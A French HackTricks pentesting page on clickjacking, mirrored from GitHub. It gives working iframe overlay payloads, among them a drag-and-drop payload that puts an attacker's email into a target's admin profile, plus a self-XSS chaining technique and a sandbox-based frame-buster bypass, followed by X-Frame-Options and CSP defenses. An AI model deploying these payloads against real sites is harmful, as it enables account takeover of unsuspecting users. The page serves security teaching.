mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-27 07:01:09 +00:00
192 lines
14 KiB
Markdown
192 lines
14 KiB
Markdown
# Clickjacking
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
|
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
|
|
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
|
|
|
\
|
|
Utilisez [**Trickest**](https://trickest.io/) pour créer et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\
|
|
Obtenez l'accès aujourd'hui :
|
|
|
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
|
|
|
## Qu'est-ce que le Clickjacking
|
|
|
|
Le Clickjacking est une attaque qui **trompe** un **utilisateur** en le faisant **cliquer** sur un **élément** de la page web qui est **invisible** ou déguisé en tant qu'autre élément. Cela peut amener les utilisateurs à télécharger involontairement des logiciels malveillants, à visiter des pages web malveillantes, à fournir des informations d'identification ou des informations sensibles, à transférer de l'argent ou à acheter des produits en ligne. (De [ici](https://www.imperva.com/learn/application-security/clickjacking/)).
|
|
|
|
### Astuce de pré-remplissage de formulaires
|
|
|
|
Il est parfois possible de **remplir la valeur des champs d'un formulaire en utilisant des paramètres GET lors du chargement d'une page**. Un attaquant peut abuser de ce comportement pour remplir un formulaire avec des données arbitraires et envoyer la charge utile de clickjacking afin que l'utilisateur appuie sur le bouton Soumettre.
|
|
|
|
### Remplir un formulaire avec Drag\&Drop
|
|
|
|
Si vous avez besoin que l'utilisateur **remplisse un formulaire** mais que vous ne voulez pas lui demander directement d'écrire des informations spécifiques (comme l'e-mail et/ou le mot de passe spécifique que vous connaissez), vous pouvez simplement lui demander de **faire glisser et déposer** quelque chose qui écrira vos données contrôlées comme dans [**cet exemple**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
|
|
|
|
### Charge utile de base
|
|
```markup
|
|
<style>
|
|
iframe {
|
|
position:relative;
|
|
width: 500px;
|
|
height: 700px;
|
|
opacity: 0.1;
|
|
z-index: 2;
|
|
}
|
|
div {
|
|
position:absolute;
|
|
top:470px;
|
|
left:60px;
|
|
z-index: 1;
|
|
}
|
|
</style>
|
|
<div>Click me</div>
|
|
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
|
|
```
|
|
### Charge utile à plusieurs étapes
|
|
|
|
Le clickjacking peut être utilisé pour exécuter des charges utiles à plusieurs étapes. Dans ce scénario, le clic de l'utilisateur déclenche une série d'actions qui mènent finalement à l'exploitation de la cible. Par exemple, le clic peut déclencher une série de clics invisibles sur des boutons ou des liens qui effectuent des actions telles que l'ouverture d'une fenêtre contextuelle, le téléchargement d'un fichier ou la soumission d'un formulaire. Ces actions peuvent être utilisées pour exécuter une charge utile plus complexe, telle que l'installation d'un malware ou la prise de contrôle d'un compte utilisateur.
|
|
```markup
|
|
<style>
|
|
iframe {
|
|
position:relative;
|
|
width: 500px;
|
|
height: 500px;
|
|
opacity: 0.1;
|
|
z-index: 2;
|
|
}
|
|
.firstClick, .secondClick {
|
|
position:absolute;
|
|
top:330px;
|
|
left:60px;
|
|
z-index: 1;
|
|
}
|
|
.secondClick {
|
|
left:210px;
|
|
}
|
|
</style>
|
|
<div class="firstClick">Click me first</div>
|
|
<div class="secondClick">Click me next</div>
|
|
<iframe src="https://vulnerable.net/account"></iframe>
|
|
```
|
|
### Charge utile Drag\&Drop + Clic
|
|
```markup
|
|
<html>
|
|
<head>
|
|
<style>
|
|
#payload{
|
|
position: absolute;
|
|
top: 20px;
|
|
}
|
|
iframe{
|
|
width: 1000px;
|
|
height: 675px;
|
|
border: none;
|
|
}
|
|
.xss{
|
|
position: fixed;
|
|
background: #F00;
|
|
}
|
|
</style>
|
|
</head>
|
|
<body>
|
|
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
|
|
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
|
|
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
|
|
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
|
|
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
|
|
</body>
|
|
</html>
|
|
```
|
|
### XSS + Clickjacking
|
|
|
|
Si vous avez identifié une attaque **XSS qui nécessite qu'un utilisateur clique** sur un élément pour **déclencher** l'attaque XSS et que la page est **vulnérable au clickjacking**, vous pouvez l'exploiter pour tromper l'utilisateur en le faisant cliquer sur le bouton/lien.\
|
|
Exemple:\
|
|
_Vous avez trouvé un **auto-XSS** dans certains détails privés du compte (détails que **vous seul pouvez définir et lire**). La page avec le **formulaire** pour définir ces détails est **vulnérable** au **clickjacking** et vous pouvez **pré-remplir** le **formulaire** avec les paramètres GET._\
|
|
\_\_Un attaquant pourrait préparer une attaque de **clickjacking** sur cette page en **pré-remplissant** le **formulaire** avec la **charge utile XSS** et en trompant l'utilisateur pour qu'il **soumette** le formulaire. Ainsi, **lorsque le formulaire est soumis** et que les valeurs sont modifiées, l'**utilisateur exécutera l'XSS**.
|
|
|
|
## Comment éviter le Clickjacking
|
|
|
|
### Défenses côté client
|
|
|
|
Il est possible d'exécuter des scripts côté client qui effectuent certains ou tous les comportements suivants pour prévenir le Clickjacking :
|
|
|
|
* vérifier et forcer que la fenêtre d'application actuelle est la fenêtre principale ou supérieure,
|
|
* rendre tous les cadres visibles,
|
|
* empêcher de cliquer sur des cadres invisibles,
|
|
* intercepter et signaler les attaques potentielles de clickjacking à un utilisateur.
|
|
|
|
#### Contournement
|
|
|
|
Comme les destructeurs de cadres sont en JavaScript, les paramètres de sécurité du navigateur peuvent empêcher leur fonctionnement ou le navigateur peut ne pas prendre en charge JavaScript. Une méthode efficace pour contourner les destructeurs de cadres est d'utiliser l'**attribut HTML5 `sandbox` de l'iframe**. Lorsque cela est défini avec les valeurs `allow-forms` ou `allow-scripts` et que la valeur `allow-top-navigation` est omise, le script destructeur de cadres peut être neutralisé car l'iframe ne peut pas vérifier s'il s'agit ou non de la fenêtre supérieure :
|
|
```markup
|
|
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
|
|
```
|
|
Les valeurs `allow-forms` et `allow-scripts` permettent toutes deux les actions spécifiées dans l'iframe, mais la navigation de niveau supérieur est désactivée. Cela empêche les comportements de frame busting tout en permettant la fonctionnalité dans le site ciblé.
|
|
|
|
Selon le type d'attaque Clickjacking effectuée, **vous devrez peut-être également autoriser** `allow-same-origin` et `allow-modals` ou [même plus](https://www.w3schools.com/tags/att\_iframe\_sandbox.asp). Lors de la préparation de l'attaque, vérifiez simplement la console du navigateur, elle peut vous indiquer les autres comportements que vous devez autoriser.
|
|
|
|
### X-Frame-Options
|
|
|
|
L'en-tête de réponse HTTP **`X-Frame-Options`** peut être utilisé pour indiquer si un navigateur doit être **autorisé** ou non à afficher une page dans une balise `<frame>` ou `<iframe>`. Les sites peuvent l'utiliser pour éviter les attaques de Clickjacking, en veillant à ce que **leur contenu ne soit pas intégré dans d'autres sites**. Définissez l'en-tête **`X-Frame-Options`** pour toutes les réponses contenant du contenu HTML. Les valeurs possibles sont :
|
|
|
|
* `X-Frame-Options: deny` qui **empêche tout domaine d'encadrer le contenu** (_valeur recommandée_)
|
|
* `X-Frame-Options: sameorigin` qui permet uniquement au **site actuel** d'encadrer le contenu.
|
|
* `X-Frame-Options: allow-from https://trusted.com` qui **autorise l'URI spécifié** à encadrer cette page.
|
|
* Vérifiez les limitations ci-dessous car **cela échouera si le navigateur ne le prend pas en charge**.
|
|
* D'autres navigateurs prennent en charge la nouvelle directive **CSP frame-ancestors**. Quelques-uns prennent en charge les deux.
|
|
|
|
### Directive frame-ancestors de la politique de sécurité du contenu (CSP)
|
|
|
|
La **protection recommandée contre le Clickjacking** consiste à incorporer la directive **`frame-ancestors`** dans la politique de sécurité du contenu de l'application.\
|
|
La directive **`frame-ancestors 'none'`** est similaire dans son comportement à la directive **X-Frame-Options `deny`** (_personne ne peut encadrer la page_).\
|
|
La directive **`frame-ancestors 'self'`** est largement équivalente à la directive **X-Frame-Options `sameorigin`** (_seul le site actuel peut l'encadrer_).\
|
|
La directive **`frame-ancestors trusted.com`** est largement équivalente à la directive **X-Frame-Options** `allow-from` (_seul le site de confiance peut l'encadrer_).
|
|
|
|
La CSP suivante autorise les frames uniquement pour le même domaine :
|
|
|
|
`Content-Security-Policy: frame-ancestors 'self';`
|
|
|
|
Consultez la documentation suivante pour plus de détails et des exemples plus complexes :
|
|
|
|
* [https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors)
|
|
* [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors)
|
|
|
|
### Limitations <a href="#limitations" id="limitations"></a>
|
|
|
|
* **Prise en charge du navigateur :** Les frame-ancestors CSP ne sont pas encore pris en charge par tous les principaux navigateurs.
|
|
* **X-Frame-Options a la priorité :** [Section "Relation to X-Frame-Options" of the CSP Spec](https://w3c.github.io/webappsec/specs/content-security-policy/#frame-ancestors-and-frame-options) dit : "_Si une ressource est livrée avec une politique qui inclut une directive nommée frame-ancestors et dont la disposition est "enforce", alors l'en-tête X-Frame-Options DOIT être ignoré_", mais Chrome 40 et Firefox 35 ignorent la directive frame-ancestors et suivent plutôt l'en-tête X-Frame-Options.
|
|
|
|
## Références
|
|
|
|
* [**https://portswigger.net/web-security/clickjacking**](https://portswigger.net/web-security/clickjacking)
|
|
* [**https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html)
|
|
|
|
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
|
|
|
\
|
|
Utilisez [**Trickest**](https://trickest.io/) pour créer et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\
|
|
Obtenez l'accès aujourd'hui :
|
|
|
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
|
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|